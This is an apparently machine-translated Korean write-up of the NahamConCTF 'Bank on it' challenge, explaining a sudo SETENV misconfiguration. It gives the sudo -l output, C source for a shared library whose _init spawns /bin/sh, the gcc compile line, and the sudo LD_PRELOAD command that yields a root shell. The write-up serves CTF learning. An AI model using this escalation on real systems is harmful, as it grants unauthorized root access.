그것에 은행

4121 단어

상자에 로그인하려면 찾은 sshhere를 사용하십시오.
NahamConCTF 를 하면서 정말 즐거웠습니다. 참여해 주신 모든 분들께 감사드립니다. 이것은 Bank on it 챌린지를 위한 작은 글입니다.

요약:
현재 사용자는 sudo를 사용하여 /opt/banking/bank 바이너리를 실행할 수 있지만 SETENV 옵션이 활성화되어 세션을 시작하기 때문에 sudo를 사용할 때 환경 변수를 유지하는 데 도움이 됩니다. 이를 통해 LD_PRELOAD를 사용하여 악성 기능을 수행하고 쉘을 루트로 가져옵니다.

신용: https://sumit-ghosh.com/articles/hijacking-library-functions-code-injection-ld-preload/

사용자가 sudo -l를 사용할 수 있는 루트로 무엇이든 실행할 수 있는지 알아보십시오. 암호 없이 루트로 /op/banking/bank 바이너리를 실행할 수 있는 것으로 보입니다. 나중에 편리하게 사용할 수 있는 SETENV도 표시됩니다.

$ sudo -l
Matching Defaults entries for gus on banking-on-it-88199b44846b0f72-65bbbf7d6c-82b95:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gus may run the following commands on banking-on-it-88199b44846b0f72-65bbbf7d6c-82b95:
    (root) SETENV: NOPASSWD: /opt/banking/bank

SETENV는 위험합니다. sudo를 사용할 때 환경 변수를 유지할 수 있습니다.
SETENVsudoers 파일에 지정되어 있으므로 이를 사용하여 공유 라이브러리가 먼저 사용되는 위치를 하이재킹할 수 있는 환경 변수를 로드할 수 있습니다. 이것이 작동하는지 확인하고 _init 기능, 추가 정보here를 하이재킹할 것입니다.

#include <unistd.h>

void _init() {
    char *argv[] = {"/bin/sh", 0};
    execve(argv[0], &argv[0], NULL);
}


이름을 shlib.c로 지정하고 이제 다음과 같이 컴파일합니다.
gcc -shared -fpic -nostartfiles shlib.c -o [shlib.so](http://shlib.so)
이제 바이너리에서 [shlib.so](http://shlib.so) 함수를 하이재킹하는 데 사용할 _init 파일이 있어야 합니다.

이제 사용하자LD_PRELOAD
  • LD_PRELOAD 트릭은 Unix 시스템의 동적 링커가 제공하는 기능을 악용하여 특정 공유 라이브러리가 제공하는 기호를 다른 라이브러리보다 먼저 바인딩하도록 링커에 지시할 수 있습니다.

    http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/
  • LD_PRELOAD를 공유 객체의 경로로 설정하면 해당 파일이 다른 라이브러리(C 런타임 포함, libc.so )보다 먼저 로드됩니다.

    https://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick

  • 다음과 같이 바이너리를 실행해 봅시다.
    sudo LD_PRELOAD=/home/gus/shlib.so /opt/banking/bank


    이제 우리는 루트입니다!

    좋은 웹페이지 즐겨찾기